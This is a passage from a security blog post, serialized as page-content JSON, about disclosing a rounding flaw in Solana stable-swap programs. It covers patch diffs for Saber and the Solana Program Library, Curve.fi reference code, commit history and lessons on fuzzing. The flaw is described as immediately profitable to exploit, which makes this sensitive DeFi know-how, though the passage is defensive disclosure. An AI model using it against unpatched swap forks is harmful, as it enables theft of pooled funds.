teams.",{"type":23,"tag":24,"props":3560,"children":3561},{},[3562],{"type":28,"value":3563},"Of these protocols, Saber was the only one which had BTC stable swaps, which would make exploitation immediately profitable. Luckily, they were also the most responsive, triaging and patching the vulnerability in just over one day.",{"type":23,"tag":24,"props":3565,"children":3566},{},[3567],{"type":28,"value":3568},"After some discussion, they decided to port a patch from Curve.fi, subtracting one from the output amount.",{"type":23,"tag":304,"props":3570,"children":3572},{"code":3571,"language":2233,"meta":7,"className":2234,"style":7},"- let dy = swap_destination_amount.checked_sub(y)?;\n+ // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n+ let dy = swap_destination_amount.checked_sub(y)?.checked_sub(1)?;\n",[3573],{"type":23,"tag":94,"props":3574,"children":3575},{"__ignoreMap":7},[3576,3629,3641],{"type":23,"tag":314,"props":3577,"children":3578},{"class":316,"line":317},[3579,3583,3587,3592,3596,3601,3605,3609,3613,3617,3621,3625],{"type":23,"tag":314,"props":3580,"children":3581},{"style":354},[3582],{"type":28,"value":1051},{"type":23,"tag":314,"props":3584,"children":3585},{"style":321},[3586],{"type":28,"value":2319},{"type":23,"tag":314,"props":3588,"children":3589},{"style":360},[3590],{"type":28,"value":3591}," dy",{"type":23,"tag":314,"props":3593,"children":3594},{"style":354},[3595],{"type":28,"value":1237},{"type":23,"tag":314,"props":3597,"children":3598},{"style":360},[3599],{"type":28,"value":3600}," swap_destination_amount",{"type":23,"tag":314,"props":3602,"children":3603},{"style":354},[3604],{"type":28,"value":282},{"type":23,"tag":314,"props":3606,"children":3607},{"style":332},[3608],{"type":28,"value":2490},{"type":23,"tag":314,"props":3610,"children":3611},{"style":338},[3612],{"type":28,"value":341},{"type":23,"tag":314,"props":3614,"children":3615},{"style":360},[3616],{"type":28,"value":2369},{"type":23,"tag":314,"props":3618,"children":3619},{"style":338},[3620],{"type":28,"value":431},{"type":23,"tag":314,"props":3622,"children":3623},{"style":354},[3624],{"type":28,"value":2409},{"type":23,"tag":314,"props":3626,"children":3627},{"style":338},[3628],{"type":28,"value":2278},{"type":23,"tag":314,"props":3630,"children":3631},{"class":316,"line":370},[3632,3636],{"type":23,"tag":314,"props":3633,"children":3634},{"style":354},[3635],{"type":28,"value":1130},{"type":23,"tag":314,"props":3637,"children":3638},{"style":374},[3639],{"type":28,"value":3640}," // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n",{"type":23,"tag":314,"props":3642,"children":3643},{"class":316,"line":380},[3644,3648,3652,3656,3660,3664,3668,3672,3676,3680,3684,3688,3692,3696,3700,3704,3708],{"type":23,"tag":314,"props":3645,"children":3646},{"style":354},[3647],{"type":28,"value":1130},{"type":23,"tag":314,"props":3649,"children":3650},{"style":321},[3651],{"type":28,"value":2319},{"type":23,"tag":314,"props":3653,"children":3654},{"style":360},[3655],{"type":28,"value":3591},{"type":23,"tag":314,"props":3657,"children":3658},{"style":354},[3659],{"type":28,"value":1237},{"type":23,"tag":314,"props":3661,"children":3662},{"style":360},[3663],{"type":28,"value":3600},{"type":23,"tag":314,"props":3665,"children":3666},{"style":354},[3667],{"type":28,"value":282},{"type":23,"tag":314,"props":3669,"children":3670},{"style":332},[3671],{"type":28,"value":2490},{"type":23,"tag":314,"props":3673,"children":3674},{"style":338},[3675],{"type":28,"value":341},{"type":23,"tag":314,"props":3677,"children":3678},{"style":360},[3679],{"type":28,"value":2369},{"type":23,"tag":314,"props":3681,"children":3682},{"style":338},[3683],{"type":28,"value":431},{"type":23,"tag":314,"props":3685,"children":3686},{"style":354},[3687],{"type":28,"value":2387},{"type":23,"tag":314,"props":3689,"children":3690},{"style":332},[3691],{"type":28,"value":2490},{"type":23,"tag":314,"props":3693,"children":3694},{"style":338},[3695],{"type":28,"value":341},{"type":23,"tag":314,"props":3697,"children":3698},{"style":1054},[3699],{"type":28,"value":3267},{"type":23,"tag":314,"props":3701,"children":3702},{"style":338},[3703],{"type":28,"value":431},{"type":23,"tag":314,"props":3705,"children":3706},{"style":354},[3707],{"type":28,"value":2409},{"type":23,"tag":314,"props":3709,"children":3710},{"style":338},[3711],{"type":28,"value":2278},{"type":23,"tag":24,"props":3713,"children":3714},{},[3715,3717,3724],{"type":28,"value":3716},"For reference, here is the ",{"type":23,"tag":31,"props":3718,"children":3721},{"href":3719,"rel":3720},"https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466",[35],[3722],{"type":28,"value":3723},"Curve.fi implementation",{"type":28,"value":282},{"type":23,"tag":304,"props":3726,"children":3730},{"code":3727,"language":3728,"meta":7,"className":3729,"style":7}," dy: uint256 = xp[j] - y - 1 # -1 just in case there were some rounding errors\n dy_fee: uint256 = dy * self.fee / FEE_DENOMINATOR\n","solidity","language-solidity shiki shiki-themes slack-dark",[3731],{"type":23,"tag":94,"props":3732,"children":3733},{"__ignoreMap":7},[3734,3797],{"type":23,"tag":314,"props":3735,"children":3736},{"class":316,"line":317},[3737,3742,3747,3752,3756,3761,3765,3770,3774,3779,3784,3788,3792],{"type":23,"tag":314,"props":3738,"children":3739},{"style":338},[3740],{"type":28,"value":3741}," dy",{"type":23,"tag":314,"props":3743,"children":3744},{"style":354},[3745],{"type":28,"value":3746},":",{"type":23,"tag":314,"props":3748,"children":3749},{"style":2674},[3750],{"type":28,"value":3751}," uint256",{"type":23,"tag":314,"props":3753,"children":3754},{"style":354},[3755],{"type":28,"value":1237},{"type":23,"tag":314,"props":3757,"children":3758},{"style":338},[3759],{"type":28,"value":3760}," xp[j] ",{"type":23,"tag":314,"props":3762,"children":3763},{"style":354},[3764],{"type":28,"value":1051},{"type":23,"tag":314,"props":3766,"children":3767},{"style":338},[3768],{"type":28,"value":3769}," y ",{"type":23,"tag":314,"props":3771,"children":3772},{"style":354},[3773],{"type":28,"value":1051},{"type":23,"tag":314,"props":3775,"children":3776},{"style":1054},[3777],{"type":28,"value":3778}," 1",{"type":23,"tag":314,"props":3780,"children":3781},{"style":338},[3782],{"type":28,"value":3783}," # ",{"type":23,"tag":314,"props":3785,"children":3786},{"style":354},[3787],{"type":28,"value":1051},{"type":23,"tag":314,"props":3789,"children":3790},{"style":1054},[3791],{"type":28,"value":3267},{"type":23,"tag":314,"props":3793,"children":3794},{"style":338},[3795],{"type":28,"value":3796}," just in case there were some rounding errors\n",{"type":23,"tag":314,"props":3798,"children":3799},{"class":316,"line":370},[3800,3805,3809,3813,3817,3822,3826,3831,3836],{"type":23,"tag":314,"props":3801,"children":3802},{"style":338},[3803],{"type":28,"value":3804}," dy_fee",{"type":23,"tag":314,"props":3806,"children":3807},{"style":354},[3808],{"type":28,"value":3746},{"type":23,"tag":314,"props":3810,"children":3811},{"style":2674},[3812],{"type":28,"value":3751},{"type":23,"tag":314,"props":3814,"children":3815},{"style":354},[3816],{"type":28,"value":1237},{"type":23,"tag":314,"props":3818,"children":3819},{"style":338},[3820],{"type":28,"value":3821}," dy ",{"type":23,"tag":314,"props":3823,"children":3824},{"style":354},[3825],{"type":28,"value":256},{"type":23,"tag":314,"props":3827,"children":3828},{"style":338},[3829],{"type":28,"value":3830}," self.fee ",{"type":23,"tag":314,"props":3832,"children":3833},{"style":354},[3834],{"type":28,"value":3835},"/",{"type":23,"tag":314,"props":3837,"children":3838},{"style":338},[3839],{"type":28,"value":3840}," FEE_DENOMINATOR\n",{"type":23,"tag":24,"props":3842,"children":3843},{},[3844,3846,3853],{"type":28,"value":3845},"We originally thought this was an additional patch that didn't get ported over to Solana. However, it turns out this code was actually included in the ",{"type":23,"tag":31,"props":3847,"children":3850},{"href":3848,"rel":3849},"https://github.com/curvefi/curve-contract/commit/0fd801df7488d89f0e2fc81e760942d7858b01d6",[35],[3851],{"type":28,"value":3852},"original commit",{"type":28,"value":3854},", not as an additional security patch.",{"type":23,"tag":304,"props":3856,"children":3858},{"code":3857},"commit 0fd801df7488d89f0e2fc81e760942d7858b01d6\nAuthor: Ben Hauser \u003Cben@hauser.id>\nDate: Mon Aug 31 02:35:30 2020 +0300\n\n feat: add base pool without lending\n",[3859],{"type":23,"tag":94,"props":3860,"children":3861},{"__ignoreMap":7},[3862],{"type":28,"value":3857},{"type":23,"tag":24,"props":3864,"children":3865},{},[3866,3868,3875],{"type":28,"value":3867},"The commit adding stable swaps to SPL was ",{"type":23,"tag":31,"props":3869,"children":3872},{"href":3870,"rel":3871},"https://github.com/solana-labs/solana-program-library/commit/d62ddd2b94d5d2daaa97460b165d288610a87623",[35],[3873],{"type":28,"value":3874},"made a few months later",{"type":28,"value":3876},", meaning there was some disconnect when porting the code. Either the rounding was thought to be unnecesary, or it was simply forgotten.",{"type":23,"tag":304,"props":3878,"children":3880},{"code":3879},"commit d62ddd2b94d5d2daaa97460b165d288610a87623\nAuthor: Yuriy Savchenko \u003Cyuriy.savchenko@gmail.com>\nDate: Tue Nov 17 15:13:18 2020 +0200\n\n Added stable curve invariant to the token swap smart contract (#838)\n\n * Added stable curve invariant to the token swap smart contract\n\n * Fixed formatting\n\n * Added missing stable curve constraints\n\n * Symbol renames to make math clearer\n\n * Small refactoring according to PR comments, fixes for JS tests\n",[3881],{"type":23,"tag":94,"props":3882,"children":3883},{"__ignoreMap":7},[3884],{"type":28,"value":3879},{"type":23,"tag":24,"props":3886,"children":3887},{},[3888,3890,3897],{"type":28,"value":3889},"After contacting some other swap projects which were unaffected, we decided to notify the Solana team in order to get a patch upstreamed to ",{"type":23,"tag":31,"props":3891,"children":3894},{"href":3892,"rel":3893},"https://github.com/solana-labs/solana-program-library",[35],[3895],{"type":28,"value":3896},"the Solana Program Library",{"type":28,"value":282},{"type":23,"tag":24,"props":3899,"children":3900},{},[3901],{"type":28,"value":3902},"While few projects deploy the swap program from the Solana Program Library, the SPL program is meant as a reference implementation, and many exchanges fork their own code off of it.",{"type":23,"tag":24,"props":3904,"children":3905},{},[3906,3913],{"type":23,"tag":31,"props":3907,"children":3910},{"href":3908,"rel":3909},"https://github.com/joncinque",[35],[3911],{"type":28,"value":3912},"@joncinque",{"type":28,"value":3914}," helped triage this patch. We also asked him for his thoughts on a more complete solution.",{"type":23,"tag":2186,"props":3916,"children":3917},{},[3918],{"type":23,"tag":24,"props":3919,"children":3920},{},[3921],{"type":28,"value":3922},"Honestly, the idea of just subtracting 1 from the output will cover almost all situations correctly, so it's a good quick solution. I'll take a look to see if we can solve this for all situations through a correct application of checked_ceil_div, as with the constant product curve.",{"type":23,"tag":24,"props":3924,"children":3925},{},[3926,3928,3935,3937,3943],{"type":28,"value":3927},"After some thought, he helped ",{"type":23,"tag":31,"props":3929,"children":3932},{"href":3930,"rel":3931},"https://github.com/solana-labs/solana-program-library/pull/2942",[35],[3933],{"type":28,"value":3934},"introduce a PR",{"type":28,"value":3936}," which ceilings the computation in ",{"type":23,"tag":94,"props":3938,"children":3940},{"className":3939},[],[3941],{"type":28,"value":3942},"compute_new_destination_amount",{"type":28,"value":3944}," to correctly round within the stable curve math library.",{"type":23,"tag":304,"props":3946,"children":3948},{"code":3947,"language":2233,"meta":7,"className":2234,"style":7}," // Solve for y by approximating: y**2 + b*y = c\n let mut y_prev: U256;\n let mut y = d_val;\n for _ in 0..ITERATIONS {\n- y_prev = y;\n- y = (checked_u8_power(&y, 2)?.checked_add(c)?)\n- .checked_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n- if y == y_prev {\n+ let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n+ .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n+ if y_new == y {\n break;\n+ } else {\n+ y = y_new;\n }\n",[3949],{"type":23,"tag":94,"props":3950,"children":3951},{"__ignoreMap":7},[3952,3960,3990,4017,4045,4069,4145,4249,4276,4371,4474,4501,4513,4532,4555],{"type":23,"tag":314,"props":3953,"children":3954},{"class":316,"line":317},[3955],{"type":23,"tag":314,"props":3956,"children":3957},{"style":374},[3958],{"type":28,"value":3959}," // Solve for y by approximating: y**2 + b*y = c\n",{"type":23,"tag":314,"props":3961,"children":3962},{"class":316,"line":370},[3963,3968,3972,3977,3981,3986],{"type":23,"tag":314,"props":3964,"children":3965},{"style":321},[3966],{"type":28,"value":3967}," let",{"type":23,"tag":314,"props":3969,"children":3970},{"style":321},[3971],{"type":28,"value":2259},{"type":23,"tag":314,"props":3973,"children":3974},{"style":360},[3975],{"type":28,"value":3976}," y_prev",{"type":23,"tag":314,"props":3978,"children":3979},{"style":354},[3980],{"type":28,"value":3746},{"type":23,"tag":314,"props":3982,"children":3983},{"style":2674},[3984],{"type":28,"value":3985}," U256",{"type":23,"tag":314,"props":3987,"children":3988},{"style":338},[3989],{"type":28,"value":2278},{"type":23,"tag":314,"props":3991,"children":3992},{"class":316,"line":380},[3993,3997,4001,4005,4009,4013],{"type":23,"tag":314,"props":3994,"children":3995},{"style":321},[3996],{"type":28,"value":3967},{"type":23,"tag":314,"props":3998,"children":3999},{"style":321},[4000],{"type":28,"value":2259},{"type":23,"tag":314,"props":4002,"children":4003},{"style":360},[4004],{"type":28,"value":2264},{"type":23,"tag":314,"props":4006,"children":4007},{"style":354},[4008],{"type":28,"value":1237},{"type":23,"tag":314,"props":4010,"children":4011},{"style":360},[4012],{"type":28,"value":2273},{"type":23,"tag":314,"props":4014,"children":4015},{"style":338},[4016],{"type":28,"value":2278},{"type":23,"tag":314,"props":4018,"children":4019},{"class":316,"line":1091},[4020,4025,4029,4033,4037,4041],{"type":23,"tag":314,"props":4021,"children":4022},{"style":2284},[4023],{"type":28,"value":4024}," for",{"type":23,"tag":314,"props":4026,"children":4027},{"style":360},[4028],{"type":28,"value":2292},{"type":23,"tag":314,"props":4030,"children":4031},{"style":321},[4032],{"type":28,"value":2297},{"type":23,"tag":314,"props":4034,"children":4035},{"style":1054},[4036],{"type":28,"value":1201},{"type":23,"tag":314,"props":4038,"children":4039},{"style":354},[4040],{"type":28,"value":2306},{"type":23,"tag":314,"props":4042,"children":4043},{"style":338},[4044],{"type":28,"value":2311},{"type":23,"tag":314,"props":4046,"children":4047},{"class":316,"line":1141},[4048,4052,4057,4061,4065],{"type":23,"tag":314,"props":4049,"children":4050},{"style":354},[4051],{"type":28,"value":1051},{"type":23,"tag":314,"props":4053,"children":4054},{"style":360},[4055],{"type":28,"value":4056}," y_prev",{"type":23,"tag":314,"props":4058,"children":4059},{"style":354},[4060],{"type":28,"value":1237},{"type":23,"tag":314,"props":4062,"children":4063},{"style":360},[4064],{"type":28,"value":2264},{"type":23,"tag":314,"props":4066,"children":4067},{"style":338},[4068],{"type":28,"value":2278},{"type":23,"tag":314,"props":4070,"children":4071},{"class":316,"line":1173},[4072,4076,4081,4085,4089,4093,4097,4101,4105,4109,4113,4117,4121,4125,4129,4133,4137,4141],{"type":23,"tag":314,"props":4073,"children":4074},{"style":354},[4075],{"type":28,"value":1051},{"type":23,"tag":314,"props":4077,"children":4078},{"style":360},[4079],{"type":28,"value":4080}," y",{"type":23,"tag":314,"props":4082,"children":4083},{"style":354},[4084],{"type":28,"value":1237},{"type":23,"tag":314,"props":4086,"children":4087},{"style":338},[4088],{"type":28,"value":2324},{"type":23,"tag":314,"props":4090,"children":4091},{"style":332},[4092],{"type":28,"value":2356},{"type":23,"tag":314,"props":4094,"children":4095},{"style":338},[4096],{"type":28,"value":341},{"type":23,"tag":314,"props":4098,"children":4099},{"style":354},[4100],{"type":28,"value":1833},{"type":23,"tag":314,"props":4102,"children":4103},{"style":360},[4104],{"type":28,"value":2369},{"type":23,"tag":314,"props":4106,"children":4107},{"style":338},[4108],{"type":28,"value":778},{"type":23,"tag":314,"props":4110,"children":4111},{"style":1054},[4112],{"type":28,"value":2378},{"type":23,"tag":314,"props":4114,"children":4115},{"style":338},[4116],{"type":28,"value":431},{"type":23,"tag":314,"props":4118,"children":4119},{"style":354},[4120],{"type":28,"value":2387},{"type":23,"tag":314,"props":4122,"children":4123},{"style":332},[4124],{"type":28,"value":2392},{"type":23,"tag":314,"props":4126,"children":4127},{"style":338},[4128],{"type":28,"value":341},{"type":23,"tag":314,"props":4130,"children":4131},{"style":360},[4132],{"type":28,"value":308},{"type":23,"tag":314,"props":4134,"children":4135},{"style":338},[4136],{"type":28,"value":431},{"type":23,"tag":314,"props":4138,"children":4139},{"style":354},[4140],{"type":28,"value":2409},{"type":23,"tag":314,"props":4142,"children":4143},{"style":338},[4144],{"type":28,"value":2414},{"type":23,"tag":314,"props":4146,"children":4147},{"class":316,"line":1208},[4148,4152,4156,4161,4165,4169,4173,4177,4181,4185,4189,4193,4197,4201,4205,4209,4213,4217,4221,4225,4229,4233,4237,4241,4245],{"type":23,"tag":314,"props":4149,"children":4150},{"style":354},[4151],{"type":28,"value":1051},{"type":23,"tag":314,"props":4153,"children":4154},{"style":354},[4155],{"type":28,"value":2422},{"type":23,"tag":314,"props":4157,"children":4158},{"style":332},[4159],{"type":28,"value":4160},"checked_div",{"type":23,"tag":314,"props":4162,"children":4163},{"style":338},[4164],{"type":28,"value":341},{"type":23,"tag":314,"props":4166,"children":4167},{"style":332},[4168],{"type":28,"value":2436},{"type":23,"tag":314,"props":4170,"children":4171},{"style":338},[4172],{"type":28,"value":341},{"type":23,"tag":314,"props":4174,"children":4175},{"style":354},[4176],{"type":28,"value":1833},{"type":23,"tag":314,"props":4178,"children":4179},{"style":360},[4180],{"type":28,"value":2369},{"type":23,"tag":314,"props":4182,"children":4183},{"style":338},[4184],{"type":28,"value":778},{"type":23,"tag":314,"props":4186,"children":4187},{"style":1054},[4188],{"type":28,"value":2378},{"type":23,"tag":314,"props":4190,"children":4191},{"style":338},[4192],{"type":28,"value":431},{"type":23,"tag":314,"props":4194,"children":4195},{"style":354},[4196],{"type":28,"value":2387},{"type":23,"tag":314,"props":4198,"children":4199},{"style":332},[4200],{"type":28,"value":2392},{"type":23,"tag":314,"props":4202,"children":4203},{"style":338},[4204],{"type":28,"value":341},{"type":23,"tag":314,"props":4206,"children":4207},{"style":360},[4208],{"type":28,"value":2477},{"type":23,"tag":314,"props":4210,"children":4211},{"style":338},[4212],{"type":28,"value":431},{"type":23,"tag":314,"props":4214,"children":4215},{"style":354},[4216],{"type":28,"value":2387},{"type":23,"tag":314,"props":4218,"children":4219},{"style":332},[4220],{"type":28,"value":2490},{"type":23,"tag":314,"props":4222,"children":4223},{"style":338},[4224],{"type":28,"value":341},{"type":23,"tag":314,"props":4226,"children":4227},{"style":360},[4228],{"type":28,"value":2499},{"type":23,"tag":314,"props":4230,"children":4231},{"style":338},[4232],{"type":28,"value":431},{"type":23,"tag":314,"props":4234,"children":4235},{"style":354},[4236],{"type":28,"value":2409},{"type":23,"tag":314,"props":4238,"children":4239},{"style":338},[4240],{"type":28,"value":431},{"type":23,"tag":314,"props":4242,"children":4243},{"style":354},[4244],{"type":28,"value":2409},{"type":23,"tag":314,"props":4246,"children":4247},{"style":338},[4248],{"type":28,"value":2278},{"type":23,"tag":314,"props":4250,"children":4251},{"class":316,"line":1216},[4252,4256,4260,4264,4268,4272],{"type":23,"tag":314,"props":4253,"children":4254},{"style":354},[4255],{"type":28,"value":1051},{"type":23,"tag":314,"props":4257,"children":4258},{"style":2284},[4259],{"type":28,"value":2527},{"type":23,"tag":314,"props":4261,"children":4262},{"style":360},[4263],{"type":28,"value":2264},{"type":23,"tag":314,"props":4265,"children":4266},{"style":354},[4267],{"type":28,"value":2537},{"type":23,"tag":314,"props":4269,"children":4270},{"style":360},[4271],{"type":28,"value":3976},{"type":23,"tag":314,"props":4273,"children":4274},{"style":338},[4275],{"type":28,"value":1449},{"type":23,"tag":314,"props":4277,"children":4278},{"class":316,"line":1301},[4279,4283,4287,4291,4295,4299,4303,4307,4311,4315,4319,4323,4327,4331,4335,4339,4343,4347,4351,4355,4359,4363,4367],{"type":23,"tag":314,"props":4280,"children":4281},{"style":354},[4282],{"type":28,"value":1130},{"type":23,"tag":314,"props":4284,"children":4285},{"style":321},[4286],{"type":28,"value":2319},{"type":23,"tag":314,"props":4288,"children":4289},{"style":338},[4290],{"type":28,"value":2324},{"type":23,"tag":314,"props":4292,"children":4293},{"style":360},[4294],{"type":28,"value":2329},{"type":23,"tag":314,"props":4296,"children":4297},{"style":338},[4298],{"type":28,"value":778},{"type":23,"tag":314,"props":4300,"children":4301},{"style":360},[4302],{"type":28,"value":2338},{"type":23,"tag":314,"props":4304,"children":4305},{"style":338},[4306],{"type":28,"value":2343},{"type":23,"tag":314,"props":4308,"children":4309},{"style":354},[4310],{"type":28,"value":1102},{"type":23,"tag":314,"props":4312,"children":4313},{"style":338},[4314],{"type":28,"value":2324},{"type":23,"tag":314,"props":4316,"children":4317},{"style":332},[4318],{"type":28,"value":2356},{"type":23,"tag":314,"props":4320,"children":4321},{"style":338},[4322],{"type":28,"value":341},{"type":23,"tag":314,"props":4324,"children":4325},{"style":354},[4326],{"type":28,"value":1833},{"type":23,"tag":314,"props":4328,"children":4329},{"style":360},[4330],{"type":28,"value":2369},{"type":23,"tag":314,"props":4332,"children":4333},{"style":338},[4334],{"type":28,"value":778},{"type":23,"tag":314,"props":4336,"children":4337},{"style":1054},[4338],{"type":28,"value":2378},{"type":23,"tag":314,"props":4340,"children":4341},{"style":338},[4342],{"type":28,"value":431},{"type":23,"tag":314,"props":4344,"children":4345},{"style":354},[4346],{"type":28,"value":2387},{"type":23,"tag":314,"props":4348,"children":4349},{"style":332},[4350],{"type":28,"value":2392},{"type":23,"tag":314,"props":4352,"children":4353},{"style":338},[4354],{"type":28,"value":341},{"type":23,"tag":314,"props":4356,"children":4357},{"style":360},[4358],{"type":28,"value":308},{"type":23,"tag":314,"props":4360,"children":4361},{"style":338},[4362],{"type":28,"value":431},{"type":23,"tag":314,"props":4364,"children":4365},{"style":354},[4366],{"type":28,"value":2409},{"type":23,"tag":314,"props":4368,"children":4369},{"style":338},[4370],{"type":28,"value":2414},{"type":23,"tag":314,"props":4372,"children":4373},{"class":316,"line":1343},[4374,4378,4382,4386,4390,4394,4398,4402,4406,4410,4414,4418,4422,4426,4430,4434,4438,4442,4446,4450,4454,4458,4462,4466,4470],{"type":23,"tag":314,"props":4375,"children":4376},{"style":354},[4377],{"type":28,"value":1130},{"type":23,"tag":314,"props":4379,"children":4380},{"style":354},[4381],{"type":28,"value":2422},{"type":23,"tag":314,"props":4383,"children":4384},{"style":332},[4385],{"type":28,"value":2427},{"type":23,"tag":314,"props":4387,"children":4388},{"style":338},[4389],{"type":28,"value":341},{"type":23,"tag":314,"props":4391,"children":4392},{"style":332},[4393],{"type":28,"value":2436},{"type":23,"tag":314,"props":4395,"children":4396},{"style":338},[4397],{"type":28,"value":341},{"type":23,"tag":314,"props":4399,"children":4400},{"style":354},[4401],{"type":28,"value":1833},{"type":23,"tag":314,"props":4403,"children":4404},{"style":360},[4405],{"type":28,"value":2369},{"type":23,"tag":314,"props":4407,"children":4408},{"style":338},[4409],{"type":28,"value":778},{"type":23,"tag":314,"props":4411,"children":4412},{"style":1054},[4413],{"type":28,"value":2378},{"type":23,"tag":314,"props":4415,"children":4416},{"style":338},[4417],{"type":28,"value":431},{"type":23,"tag":314,"props":4419,"children":4420},{"style":354},[4421],{"type":28,"value":2387},{"type":23,"tag":314,"props":4423,"children":4424},{"style":332},[4425],{"type":28,"value":2392},{"type":23,"tag":314,"props":4427,"children":4428},{"style":338},[4429],{"type":28,"value":341},{"type":23,"tag":314,"props":4431,"children":4432},{"style":360},[4433],{"type":28,"value":2477},{"type":23,"tag":314,"props":4435,"children":4436},{"style":338},[4437],{"type":28,"value":431},{"type":23,"tag":314,"props":4439,"children":4440},{"style":354},[4441],{"type":28,"value":2387},{"type":23,"tag":314,"props":4443,"children":4444},{"style":332},[4445],{"type":28,"value":2490},{"type":23,"tag":314,"props":4447,"children":4448},{"style":338},[4449],{"type":28,"value":341},{"type":23,"tag":314,"props":4451,"children":4452},{"style":360},[4453],{"type":28,"value":2499},{"type":23,"tag":314,"props":4455,"children":4456},{"style":338},[4457],{"type":28,"value":431},{"type":23,"tag":314,"props":4459,"children":4460},{"style":354},[4461],{"type":28,"value":2409},{"type":23,"tag":314,"props":4463,"children":4464},{"style":338},[4465],{"type":28,"value":431},{"type":23,"tag":314,"props":4467,"children":4468},{"style":354},[4469],{"type":28,"value":2409},{"type":23,"tag":314,"props":4471,"children":4472},{"style":338},[4473],{"type":28,"value":2278},{"type":23,"tag":314,"props":4475,"children":4476},{"class":316,"line":1351},[4477,4481,4485,4489,4493,4497],{"type":23,"tag":314,"props":4478,"children":4479},{"style":354},[4480],{"type":28,"value":1130},{"type":23,"tag":314,"props":4482,"children":4483},{"style":2284},[4484],{"type":28,"value":2527},{"type":23,"tag":314,"props":4486,"children":4487},{"style":360},[4488],{"type":28,"value":2532},{"type":23,"tag":314,"props":4490,"children":4491},{"style":354},[4492],{"type":28,"value":2537},{"type":23,"tag":314,"props":4494,"children":4495},{"style":360},[4496],{"type":28,"value":2264},{"type":23,"tag":314,"props":4498,"children":4499},{"style":338},[4500],{"type":28,"value":1449},{"type":23,"tag":314,"props":4502,"children":4503},{"class":316,"line":1387},[4504,4509],{"type":23,"tag":314,"props":4505,"children":4506},{"style":2284},[4507],{"type":28,"value":4508}," break",{"type":23,"tag":314,"props":4510,"children":4511},{"style":338},[4512],{"type":28,"value":2278},{"type":23,"tag":314,"props":4514,"children":4515},{"class":316,"line":1422},[4516,4520,4524,4528],{"type":23,"tag":314,"props":4517,"children":4518},{"style":354},[4519],{"type":28,"value":1130},{"type":23,"tag":314,"props":4521,"children":4522},{"style":338},[4523],{"type":28,"value":2565},{"type":23,"tag":314,"props":4525,"children":4526},{"style":2284},[4527],{"type":28,"value":2570},{"type":23,"tag":314,"props":4529,"children":4530},{"style":338},[4531],{"type":28,"value":1449},{"type":23,"tag":314,"props":4533,"children":4534},{"class":316,"line":1430},[4535,4539,4543,4547,4551],{"type":23,"tag":314,"props":4536,"children":4537},{"style":354},[4538],{"type":28,"value":1130},{"type":23,"tag":314,"props":4540,"children":4541},{"style":360},[4542],{"type":28,"value":2582},{"type":23,"tag":314,"props":4544,"children":4545},{"style":354},[4546],{"type":28,"value":1237},{"type":23,"tag":314,"props":4548,"children":4549},{"style":360},[4550],{"type":28,"value":2532},{"type":23,"tag":314,"props":4552,"children":4553},{"style":338},[4554],{"type":28,"value":2278},{"type":23,"tag":314,"props":4556,"children":4557},{"class":316,"line":1452},[4558],{"type":23,"tag":314,"props":4559,"children":4560},{"style":338},[4561],{"type":28,"value":4562}," }\n",{"type":23,"tag":61,"props":4564,"children":4566},{"id":4565},"closing-thoughts",[4567],{"type":28,"value":4568},"Closing Thoughts",{"type":23,"tag":24,"props":4570,"children":4571},{},[4572],{"type":28,"value":4573},"This is a good example of how messing around and interacting with the ecosystem can lead to unexpected bugs. We found this, not as a result of active security research, but as part of our work in MEV and trading.",{"type":23,"tag":24,"props":4575,"children":4576},{},[4577,4579,4584],{"type":28,"value":4578},"Another interesting takeaway is that ",{"type":23,"tag":721,"props":4580,"children":4581},{},[4582],{"type":28,"value":4583},"fuzzing can give a false sense of security",{"type":28,"value":4585},". Prior to our report, Saber had already deployed comprehensive fuzzers for their swap implementation. A researcher looking at code coverage alone might come to the incorrect conclusion that such extensively fuzzed code couldn't possibly have a vulnerability.",{"type":23,"tag":24,"props":4587,"children":4588},{},[4589,4591,4598],{"type":28,"value":4590},"One can see parallels to traditional security, as with Google Project Zero's ",{"type":23,"tag":31,"props":4592,"children":4595},{"href":4593,"rel":4594},"https://googleprojectzero.blogspot.com/2021/12/this-shouldnt-have-happened.html",[35],[4596],{"type":28,"value":4597},"port-mortem of the NSS overflow",{"type":28,"value":282},{"type":23,"tag":24,"props":4600,"children":4601},{},[4602],{"type":23,"tag":197,"props":4603,"children":4605},{"alt":7,"src":4604},"/posts/spl-swap/p0.png",[],{"type":23,"tag":24,"props":4607,"children":4608},{},[4609],{"type":28,"value":4610},"A heavily fuzzed method had a trivial buffer overflow due to an arbitrary size limit on the input data. Implict assumptions can often undermine security.",{"type":23,"tag":24,"props":4612,"children":4613},{},[4614],{"type":28,"value":4615},"Especially with regard to onchain programs, it's important to consider what actually is a \"vulnerability\". Getting tokens from nothing is a more obvious example, but more subtle bugs can arise with increasingly complex defi interactions. Economic invariants are much harder to detect than say, memory corruption.",{"type":23,"tag":24,"props":4617,"children":4618},{},[4619],{"type":28,"value":4620},"A comprehensive evaluation of smart contracts relies on a deep understanding of economic implications within the Solana ecosystem.",{"type":23,"tag":2096,"props":4622,"children":4623},{},[4624],{"type":28,"value":2100},{"title":7,"searchDepth":370,"depth":370,"links":4626},[4627,4628,4629,4630],{"id":2171,"depth":370,"text":2174},{"id":3176,"depth":370,"text":3179},{"id":3481,"depth":370,"text":3484},{"id":4565,"depth":370,"text":4568},"content:blog:2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding",{"_path":4635,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":4636,"description":4637,"image":4638,"date":4642,"isFeatured":18,"onBlogPage":18,"tags":4643,"body":4644,"_type":2117,"_id":4967,"_source":2119,"_file":4968,"_stem":4969,"_extension":2122},"/blog/2022-08-19-solend-rent-thief","The Story of the Curious Rent Thief","A tale of pickpockets preying on the Solana ecosystem. Read our investigation into the persistent theft of rent from uninitialized accounts. This is the story of the Solend rent 